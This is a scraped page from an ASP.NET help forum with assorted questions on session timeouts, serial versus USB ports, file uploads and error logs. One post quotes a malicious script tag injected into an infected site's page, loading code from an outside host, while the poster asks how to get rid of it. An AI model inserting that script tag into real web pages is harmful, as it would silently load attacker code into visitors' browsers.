|
pkravikumar wrote: after sesstion timeout if am clicking any form that time loginpage will come, so in this regards i want login page autometically after sesstion timeout.give me solution
I think he wants to login again automatically into system when session timeout and login page comes.
please don't forget to vote on the post that helped you.
|
|
|
|
|
Hey pkravikumar,
Let me suggest what I do in your situation.
1. I would make an HTTPHandler which redirects every request for ASPX extension.
2. Whenever User Logs in to my system, I would store the UserData in Session using a SessionKey. For example :
if (Session["ID"] == null))
context.Session.Add("ID", userid);
3. On every request I would check whether the requested Url leads to Login page or anyother page. If any other page, is the user Logged in already.
if (Session["ID"] == null && Request.Url.AbsolutePath != loginurl)
{
Response.Write("<script type=\"text/javascript\">var w = window.parent || window; w.location='" + loginurl + "';</script>");
Response.Flush();
Response.End();
}
This will also eliminate your problem. If session Timeout occurs, Session["ID"] will have null in it. Thus any other request to page other than loginurl will lead to redirect it to loginurl .
I hope you like this solution.
Other than that, If you dont want to write a Handler and want to do this in pages, you can see this url :
Detecting Session Timeouts[^]
Here you will find how to detect new session.
|
|
|
|
|
Hello there
How can I use a command line to print a file; realy i have a driver to make PDF file by a virtual printer driver, and I want to send a command line by my Oprating System (WINXP) and this command line show me a pdf file.
in othere word i am using share point, how can you help me to make a pdf show.
Thanks
|
|
|
|
|
How is this an ASP.NET question ?
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
if anybody know help me plz
|
|
|
|
|
This is the ASP.NET forum. If this question is about ASP.NET, you need to explain how that is the case ( because we can't really help you without understanding that, as well as, if it's not an ASP.NET question, you're in the wrong forum )
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Hi guys,
I develop a system for a serial port device and it works properly but when I change the serial port cable to a USB (universal Serial Bus) it does not work(I could not send or receive data to the device) . Do I have to write another code for the USB and if that so is it possible to write using ASP.Net.
Thanks,
Liya
|
|
|
|
|
No, serial and USB (the S actually stands for serial) both work the same in ASP.NET. What are you trying to do ? How did it work before, and how does it not work now ?
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
I dont know if they are the same maybe i'll check the USB driver.
Thanks Again
Liya
|
|
|
|
|
You didn't really answer me. I'm curious because there is no way to use these ports in ASP.NET, unless the device you're connecting to is on the server, which seems odd. USB and serial ARE two different ports, they just happen to both work serially. If you posted some actual code, we might be able to help more.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
I connect each decive to the client machines and i install Virtual Serial Port Kit to the server and client machine and the software crates a virtul port on the server machines.
private void OpenSerialPort()
{
portName = "COM1";
if (serialPort.IsOpen)
{
serialPort.Close();
}
try
{
serialPort.PortName = portName;
serialPort.BaudRate = 19200;
serialPort.Parity = Parity.None;
serialPort.DataBits = 8;
serialPort.StopBits = StopBits.One;
serialPort.ReadTimeout = 2500;
serialPort.WriteTimeout =2500;
serialPort.Open();
// Initialize and Open
serialPort.DtrEnable = true;
portStatus = "Open";
}
catch (Exception ex)
{
portStatus = "Error";
}
}
private void SendMessage()
{
try
{
serialPort.Write(outByteBuffer.ToArray(), 0, outByteBuffer.Count);
}
catch (Exception ex)
{
throw ex;
}
}
private void ByteDataReceived(object sender, SerialDataReceivedEventArgs e)
{
string strMessage = "";
int idx;
inByteBuffer.Clear();
if (clickButton == true)
{
if (continueRead == false) return;
else
{
while (continueRead)
{
strMessage += serialPort.ReadExisting();
if (strMessage.Contains(ControlChar.EndOfText.ToString()))// || serialPort.BytesToRead < 1)
continueRead = false;
}
for (idx = 0; idx < strMessage.Length; idx++)
inByteBuffer.Add((byte)strMessage[idx]);
RawData = strMessage;
serialPort.DiscardInBuffer();
strMessage = "";
clickButton = false;
SendAckNak((byte)ControlChar.Acknowledge);
RequestManager();
}
}
else
{
serialPort.DiscardInBuffer();
}
}
|
|
|
|
|
Oh, this runs on an intranet, not on the web ? If you can install windows client software on the target machines, it obviously will work, but at that point, your question is no longer really about ASP.NET.
But, you're using a library that works with the serial port, you need one that works with USB to write code that uses the USB port.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
IS there any libraries which work on usb ports
|
|
|
|
|
Hi to all,
I am repeating this post. Actually at that time I made some changes and it worked. But after two days I was getting the same error again. Then I downloaded all the pages from the server and found that the malicious script "</asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script>
" was there outside the content tag. I deleted that and again uploaded the page.It worked for a while ie when I requested the same page it worked and when I navigate to other page and came back to the infected page, it again showed the same error.
Somehow we managed to change the server but still of no use. I dont know what to do.
Please assist me.
The error is :
Server Error in '/' Application.
Parser Error
Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately.
Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls.
Source Error:
Line 101:
Line 102:
Line 103:</asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script>
Source File: /index.aspx Line: 103
Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082
cheers,
sneha
|
|
|
|
|
Your problem is unchanged. You still have a virus on your server. You need to get rid of it, not just keep cleaning up after it.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Hi All,
i am getting the Error in Log Database. Unable to get logic how to fix this error. can please give me any ideas.Which help me.
andlingInstanceID: 0f05272f-eacd-4fa5-8115-c1cb7623c35a An exception of type 'System.Web.HttpException' occurred and was caught. ------------------------------------------------------------------------ 10/30/2009 02:20:10 Type : System.Web.HttpException, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Message : File does not exist. Source : System.Web Help link : ErrorCode : -2147467259 Data : System.Collections.ListDictionaryInternal TargetSite : System.IO.FileInfo GetFileInfo(System.String, System.String, System.Web.HttpResponse) Stack Trace : at System.Web.StaticFileHandler.GetFileInfo(String virtualPathWithPathInfo, String physicalPath, HttpResponse response) at System.Web.StaticFileHandler.ProcessRequestInternal(HttpContext context) at System.Web.DefaultHttpHandler.BeginProcessRequest(HttpContext context, AsyncCallback callback, Object state) at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
Thanks in Advance.
JohnDas
|
|
|
|
|
i attach a file in my program, and i want check that size before uplaod, does anybody know how should i do this.
protected System.Web.UI.WebControls.FileUpload attach;
if (attach.FileName != "")
{
//// here i want check the size of file
}
|
|
|
|
|
Are you looking for attach.FileContent.Length ?
It's not necessary to be so stupid, either, but people manage it. - Christian Graus, 2009 AD
|
|
|
|
|
see google..........
|
|
|
|
|
Hi All,
How do I pass a web page value in windows form in .net.
From my windows application, I want have open a web page and received web page value.
Please sent sample code.
Thanks
Rajesh
|
|
|
|
|
vnsraj wrote: Please sent sample code.
Why ? Are you unable to follow advice ? Have you written any code ?
This has nothing to do with ASP.NET. Absolutely zero. You're writing a windows app. Where does the value come from ? If it's not on the URL, you'd need to use the DOM to search the text of your web page, from a web browser control.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
hi...
im trying to get data from database..
using sessions retrieved data to text box and dropdownlist in following way...
how can i get path of fileupload control into textbox of file upload ctrl.
help me...
DropDownList1.SelectedValue = Session["website"].ToString();
TextBox8.Text = Session["link"].ToString();
|
|
|
|
|
madhukk wrote: how can i get path of fileupload control into textbox of file upload ctrl.
It's not possible. All of this looks very dodgy to me ( do your controls really have such pathetic names ? ), but either way, you can't set the text of a file upload control on the server, nor can you set it in javascript. This is for obvious reasons, if you could, you could hide one, send it with a web page, put the name of a windows config file, for example, in there, and it would upload without the user ever knowing.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
This is not possible, because so security reasons of web servers
|
|
|
|
|
Why did you answer to MY answer, and just restate what I had said ?
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|